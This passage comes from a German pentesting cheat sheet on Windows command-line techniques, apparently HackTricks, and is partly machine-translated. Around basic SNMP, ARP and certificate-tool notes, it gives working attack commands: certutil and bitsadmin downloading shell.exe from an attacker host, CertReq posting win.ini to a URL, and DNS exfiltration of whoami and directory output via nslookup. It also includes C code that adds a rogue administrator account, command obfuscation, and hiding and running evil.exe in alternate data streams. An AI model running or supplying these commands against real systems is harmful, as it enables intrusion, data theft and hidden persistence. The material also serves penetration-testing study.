  • SNMPv2c: Eine verbesserte Version von SNMPv1, die zusätzliche Funktionen und Verbesserungen bietet. Es verwendet immer noch die Community-basierte Authentifizierung.

  • SNMPv3: Die sicherste Version von SNMP, die erweiterte Sicherheitsfunktionen wie Verschlüsselung und Authentifizierung bietet. SNMPv3 verwendet Benutzernamen und Kennwörter für die Authentifizierung und Verschlüsselung für die Vertraulichkeit der übertragenen Daten.

SNMP-Tools

Es gibt verschiedene Tools, die für das Arbeiten mit SNMP verwendet werden können:

  • snmpwalk: Ein Befehlszeilentool, das verwendet wird, um Informationen von SNMP-Agenten abzurufen. Es durchläuft die MIB (Management Information Base) und gibt die abgerufenen Informationen aus.

  • snmpget: Ein Befehlszeilentool, das verwendet wird, um eine einzelne Information von einem SNMP-Agenten abzurufen.

  • snmpset: Ein Befehlszeilentool, das verwendet wird, um eine einzelne Information auf einem SNMP-Agenten zu ändern.

  • snmptrap: Ein Befehlszeilentool, das verwendet wird, um SNMP-Traps zu senden, die Ereignisse oder Fehler an den SNMP-Manager melden.

SNMP-Sicherheit

Da SNMPv1 und SNMPv2c unsichere Authentifizierungsmethoden verwenden, ist es wichtig, geeignete Sicherheitsmaßnahmen zu ergreifen, um die Sicherheit des SNMP-Verkehrs zu gewährleisten. Hier sind einige bewährte Sicherheitspraktiken:

  • Verwenden Sie SNMPv3, um erweiterte Sicherheitsfunktionen wie Verschlüsselung und Authentifizierung zu nutzen.

  • Verwenden Sie starke Kennwörter für die SNMP-Authentifizierung und ändern Sie sie regelmäßig.

  • Begrenzen Sie den Zugriff auf SNMP-Agenten auf autorisierte IP-Adressen.

  • Überwachen Sie den SNMP-Verkehr und suchen Sie nach verdächtigen Aktivitäten.

  • Aktualisieren Sie regelmäßig die SNMP-Software, um Sicherheitslücken zu schließen.

Zusammenfassung

SNMP ist ein Protokoll zur Verwaltung und Überwachung von Netzwerkgeräten. Es gibt verschiedene Versionen von SNMP, darunter SNMPv1, SNMPv2c und SNMPv3. SNMP-Tools wie snmpwalk, snmpget, snmpset und snmptrap werden verwendet, um Informationen von SNMP-Agenten abzurufen, zu ändern und Traps zu senden. Es ist wichtig, angemessene Sicherheitsmaßnahmen zu ergreifen, um die Sicherheit des SNMP-Verkehrs zu gewährleisten, insbesondere bei der Verwendung von SNMPv1 und SNMPv2c.

reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s

Netzwerkschnittstellen

Network interfaces, also known as network adapters or NICs (Network Interface Cards), are hardware devices that allow a computer to connect to a network. They provide the necessary physical connection between the computer and the network, enabling communication between devices.

Netzwerkschnittstellen, auch als Netzwerkadapter oder NICs (Network Interface Cards) bekannt, sind Hardwaregeräte, die es einem Computer ermöglichen, sich mit einem Netzwerk zu verbinden. Sie stellen die erforderliche physische Verbindung zwischen dem Computer und dem Netzwerk her und ermöglichen die Kommunikation zwischen den Geräten.

ipconfig /all

ARP-Tabelle

Die ARP-Tabelle (Address Resolution Protocol) ist eine Tabelle, die in einem Betriebssystem gespeichert wird und die Zuordnung von IP-Adressen zu MAC-Adressen enthält. Sie wird verwendet, um die Kommunikation in einem lokalen Netzwerk zu ermöglichen, indem sie die MAC-Adresse eines Geräts anhand seiner IP-Adresse ermittelt.

Die ARP-Tabelle kann mithilfe des Befehls arp -a in der Eingabeaufforderung angezeigt werden. Dieser Befehl zeigt die IP-Adressen und die zugehörigen MAC-Adressen aller Geräte an, mit denen das System kommuniziert hat.

Die ARP-Tabelle ist auch ein nützliches Werkzeug für Pentester, da sie Informationen über die Geräte im Netzwerk liefert. Durch Überprüfen der ARP-Tabelle können Pentester feststellen, ob ein Gerät möglicherweise gefährdet ist oder ob ein Angreifer versucht, sich als ein anderes Gerät auszugeben (ARP-Spoofing).

Es ist wichtig, die ARP-Tabelle regelmäßig zu überprüfen und verdächtige Einträge zu identifizieren, um die Sicherheit des Netzwerks zu gewährleisten.

arp -A

Herunterladen

Bitsadmin.exe

bitsadmin /create 1 bitsadmin /addfile 1 https://live.sysinternals.com/autoruns.exe c:\data\playfolder\autoruns.exe bitsadmin /RESUME 1 bitsadmin /complete 1

CertReq.exe

CertReq.exe is a command-line tool in Windows that is used to create and submit certificate requests to a certification authority (CA). It is commonly used by system administrators and security professionals for managing certificates in a Windows environment.

Usage

The basic syntax for using CertReq.exe is as follows:

certreq [options] [requestfile] [responsefile]

Options

Here are some commonly used options with CertReq.exe:

  • -new: Creates a new certificate request.
  • -submit: Submits a certificate request to a CA.
  • -accept: Accepts a response to a certificate request.
  • -retrieve: Retrieves a response to a certificate request.
  • -sign: Signs a certificate request.
  • -policy: Specifies the certificate policy to use.
  • -config: Specifies the configuration file to use.
  • -attrib: Specifies additional attributes for the certificate request.

Examples

Here are some examples of how CertReq.exe can be used:

  • To create a new certificate request:
certreq -new request.inf request.req
  • To submit a certificate request to a CA:
certreq -submit request.req response.req
  • To accept a response to a certificate request:
certreq -accept response.req
  • To retrieve a response to a certificate request:
certreq -retrieve request.req response.req
  • To sign a certificate request:
certreq -sign request.req response.req
  • To specify a certificate policy:
certreq -policy "PolicyName" request.req response.req
  • To specify a configuration file:
certreq -config "ConfigFile" request.req response.req
  • To specify additional attributes for the certificate request:
certreq -attrib "Attribute1=Value1&Attribute2=Value2" request.req response.req

Conclusion

CertReq.exe is a powerful command-line tool for managing certificates in a Windows environment. It provides various options for creating, submitting, accepting, retrieving, and signing certificate requests. System administrators and security professionals can leverage CertReq.exe to streamline the certificate management process and enhance the security of their Windows systems.

CertReq -Post -config https://example.org/ c:\windows\win.ini output.txt

Certutil.exe

Certutil.exe is a command-line utility in Windows that is used to manage certificates. It provides various functions for working with certificates, such as installing, exporting, and verifying them.

Usage

To use Certutil.exe, open a command prompt and type certutil followed by the desired command and its parameters.

Common Commands

Here are some common commands that can be used with Certutil.exe:

  • -addstore: Adds a certificate or a certificate chain to a certificate store.
  • -delstore: Deletes a certificate or a certificate chain from a certificate store.
  • -store: Specifies the certificate store to use.
  • -view: Displays the contents of a certificate or a certificate store.
  • -exportPFX: Exports a certificate or a certificate chain to a Personal Information Exchange (PFX) file.
  • -importPFX: Imports a certificate or a certificate chain from a PFX file.

Examples

Here are some examples of how Certutil.exe can be used:

  • To view the contents of the "My" certificate store, use the command: certutil -viewstore -store "My"
  • To add a certificate to the "Trusted Root Certification Authorities" store, use the command: certutil -addstore -f "Root" <certificate_file>
  • To export a certificate from the "Personal" store to a PFX file, use the command: certutil -exportPFX -p <password> -f <certificate_name> <pfx_file>

Conclusion

Certutil.exe is a powerful command-line utility for managing certificates in Windows. It provides a wide range of functions for working with certificates, making it a valuable tool for pentesters and system administrators.

certutil.exe -urlcache -split -f "http://10.10.14.13:8000/shell.exe" s.exe

Finden Sie noch mehr, indem Sie nach Download auf https://lolbas-project.github.io suchen

Sonstiges

cd #Get current dir
cd C:\path\to\dir #Change dir
dir #List current dir
dir /a:h C:\path\to\dir #List hidden files
dir /s /b #Recursive list without shit
time #Get current time
date #Get current date
shutdown /r /t 0 #Shutdown now
type <file> #Cat file

#Runas
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" #Use saved credentials
runas /netonly /user:<DOMAIN>\<NAME> "cmd.exe" ::The password will be prompted

#Hide
attrib +h file #Set Hidden
attrib -h file #Quit Hidden

#Give full control over a file that you owns
icacls <FILE_PATH> /t /e /p <USERNAME>:F
icacls <FILE_PATH> /e /r <USERNAME> #Remove the permision

#Recursive copy to smb
xcopy /hievry C:\Users\security\.yawcam \\10.10.14.13\name\win

#exe2bat to transform exe file in bat file

#ADS
dir /r #Detect ADS
more file.txt:ads.txt #read ADS
powershell (Get-Content file.txt -Stream ads.txt)

# Get error messages from code
net helpmsg 32 #32 is the code in that case

Umgehung der Zeichen-Schwarzenliste

In einigen Fällen können Webanwendungen bestimmte Zeichen in Eingaben verbieten, um Sicherheitslücken zu verhindern. Dies wird als Zeichen-Schwarzenliste bezeichnet. Es ist jedoch möglich, diese Beschränkungen zu umgehen und dennoch schädlichen Code einzufügen.

Eine Möglichkeit, die Zeichen-Schwarzenliste zu umgehen, besteht darin, alternative Zeichen zu verwenden, die ähnlich aussehen, aber nicht auf der Liste stehen. Zum Beispiel kann das Zeichen "o" durch die Verwendung des griechischen Buchstabens "ο" ersetzt werden.

Eine andere Methode besteht darin, die Zeichenkodierung zu ändern. Durch die Verwendung von Unicode-Zeichen oder Hexadezimalwerten können verbotene Zeichen umgangen werden. Zum Beispiel kann das Zeichen "a" durch den Unicode-Wert "\u0061" oder den Hexadezimalwert "61" ersetzt werden.

Es ist wichtig zu beachten, dass das Umgehen der Zeichen-Schwarzenliste eine Form der Umgehung von Sicherheitsmaßnahmen darstellt und nur zu legitimen Zwecken verwendet werden sollte.

echo %HOMEPATH:~6,-11%   #\
who^ami   #whoami

DOSfuscation

Generiert eine verschleierte CMD-Zeile

git clone https://github.com/danielbohannon/Invoke-DOSfuscation.git
cd Invoke-DOSfuscation
Import-Module .\Invoke-DOSfuscation.psd1
Invoke-DOSfuscation
help
SET COMMAND type C:\Users\Administrator\Desktop\flag.txt
encoding

Adressen-ACLs anhören

Sie können auf http://+:80/Temporary_Listen_Addresses/ ohne Administratorrechte zu haben.

netsh http show urlacl

Manuelle DNS-Shell

Angreifer (Kali) muss eine der folgenden 2 Optionen verwenden:

sudo responder -I <iface> #Active
sudo tcpdump -i <iface> -A proto udp and dst port 53 and dst ip <KALI_IP> #Passive

Opfer

Technik for /f tokens: Dies ermöglicht es uns, Befehle auszuführen, die ersten X Wörter jeder Zeile zu erhalten und sie über DNS an unseren Server zu senden.

for /f %a in ('whoami') do nslookup %a <IP_kali> #Get whoami
for /f "tokens=2" %a in ('echo word1 word2') do nslookup %a <IP_kali> #Get word2
for /f "tokens=1,2,3" %a in ('dir /B C:\') do nslookup %a.%b.%c <IP_kali> #List folder
for /f "tokens=1,2,3" %a in ('dir /B "C:\Program Files (x86)"') do nslookup %a.%b.%c <IP_kali> #List that folder
for /f "tokens=1,2,3" %a in ('dir /B "C:\Progra~2"') do nslookup %a.%b.%c <IP_kali> #Same as last one
#More complex commands
for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('whoami /priv ^| findstr /i "enable"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali> #Same as last one

Sie können auch die Ausgabe umleiten und sie dann lesen.

whoami /priv | finstr "Enab" > C:\Users\Public\Documents\out.txt
for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('type "C:\Users\Public\Documents\out.txt"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali>

Aufrufen von CMD aus C-Code

In einigen Fällen kann es erforderlich sein, die Windows-Befehlszeile (CMD) aus C-Code heraus aufzurufen. Dies kann nützlich sein, um bestimmte Befehle oder Skripte auszuführen und die Ergebnisse in der C-Anwendung zu verarbeiten.

Um CMD aus C-Code heraus aufzurufen, können Sie die system-Funktion verwenden. Diese Funktion ermöglicht es Ihnen, einen Befehl als Zeichenkette an CMD zu übergeben und die Ausgabe des Befehls zu erhalten.

Hier ist ein Beispiel, wie Sie CMD aus C-Code heraus aufrufen können:

#include <stdlib.h>

int main() {
    // Befehl, der ausgeführt werden soll
    char command[] = "dir";

    // CMD aufrufen und den Befehl ausführen
    system(command);

    return 0;
}

In diesem Beispiel wird der Befehl "dir" an CMD übergeben, der das Verzeichnis auflistet. Sie können den Befehl durch jeden anderen gültigen CMD-Befehl ersetzen.

Beachten Sie, dass die system-Funktion blockierend ist, d.h. die Ausführung der C-Anwendung wird angehalten, bis der aufgerufene Befehl abgeschlossen ist. Wenn Sie eine nicht blockierende Ausführung wünschen, können Sie stattdessen die CreateProcess-Funktion verwenden.

Es ist wichtig zu beachten, dass das Aufrufen von CMD aus C-Code heraus Sicherheitsrisiken mit sich bringen kann, insbesondere wenn Benutzereingaben in den Befehl einbezogen werden. Stellen Sie sicher, dass Sie alle Benutzereingaben ordnungsgemäß validieren und filtern, um potenzielle Angriffe zu verhindern.

#include <stdlib.h>     /* system, NULL, EXIT_FAILURE */

// When executed by Administrator this program will create a user and then add him to the administrators group
// i686-w64-mingw32-gcc addmin.c -o addmin.exe
// upx -9 addmin.exe

int main (){
int i;
i=system("net users otherAcc 0TherAcc! /add");
i=system("net localgroup administrators otherAcc /add");
return 0;
}

Alternate Data Streams Spickzettel (ADS/Alternate Data Stream)

Beispiele entnommen von https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f. Es gibt noch viele weitere dort!

## Selected Examples of ADS Operations ##

### Adding Content to ADS ###
# Append executable to a log file as an ADS
type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"
# Download a script directly into an ADS
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt

### Discovering ADS Content ###
# List files and their ADS
dir /R
# Use Sysinternals tool to list ADS of a file
streams.exe <c:\path\to\file>

### Extracting Content from ADS ###
# Extract an executable stored in an ADS
expand c:\ads\file.txt:test.exe c:\temp\evil.exe

### Executing ADS Content ###
# Execute an executable stored in an ADS using WMIC
wmic process call create '"C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"'
# Execute a script stored in an ADS using PowerShell
powershell -ep bypass - < c:\temp:ttt
Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!